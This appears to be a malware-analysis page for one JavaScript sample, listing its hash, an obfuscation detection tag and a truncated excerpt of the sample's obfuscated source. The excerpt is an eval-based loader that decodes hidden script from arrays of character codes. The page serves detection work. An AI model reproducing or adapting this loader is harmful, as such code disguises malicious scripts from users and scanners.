Benign javascript-malware-collection Download

20151208_e8aa89b021c944ba14cef07e1ff0e6aa.js

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256487b557a3be507f43a13ea8078c30ae315931b81c23f47f4f205a0ba5b9a5405

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var QJNDluObGgWSz=[];for(ZOZTHam=(-340+340)/176;ZOZTHam<(114086+346)/894;ZOZTHam++){QJNDluObGgWSz[ZOZTHam]=String.fromCharCode(ZOZTHam)}function zlHmg(ExvsHnSqgrS,yvnPWKGcbWZRO,FHzoytRQ){YWTw=parseInt(ExvsHnSqgrS,yvnPWKGcbWZRO);JZGoq=YWTw.toString(FHzoytRQ);return JZGoq;}function CcPzMcYHugOtpoo(HlSyfafoWhPASCCZA){eval(HlSyfafoWhPASCCZA)}
2function rOwgBvOIauaAWqaiBusEYXpNPsJMBSeplndcLFFGyWXSQrkYoHXONZ(MJOVfPsWrqSIf,loqcujdLqSOTMt){ return QJNDluObGgWSz[zlHmg(MJOVfPsWrqSIf[loqcujdLqSOTMt],(6684+876)/756,(1153+877)/203)];}
3function DwtHGEy(wscXkHxPTXymOsCbDKnzSrhrLGxhzchkfZVD) {return !isNaN(parseFloat(wscXkHxPTXymOsCbDKnzSrhrLGxhzchkfZVD)) && isFinite(wscXkHxPTXymOsCbDKnzSrhrLGxhzchkfZVD);}
4function TvbhmsPyfwg(WLGqTbev,qPNKzp){return WLGqTbev.split(qPNKzp)}
5var u=[];u.push("13");u.push("10");u.push("13");u.push("10");u.push("118");u.push("97");u.push("114");u.push("32");u. …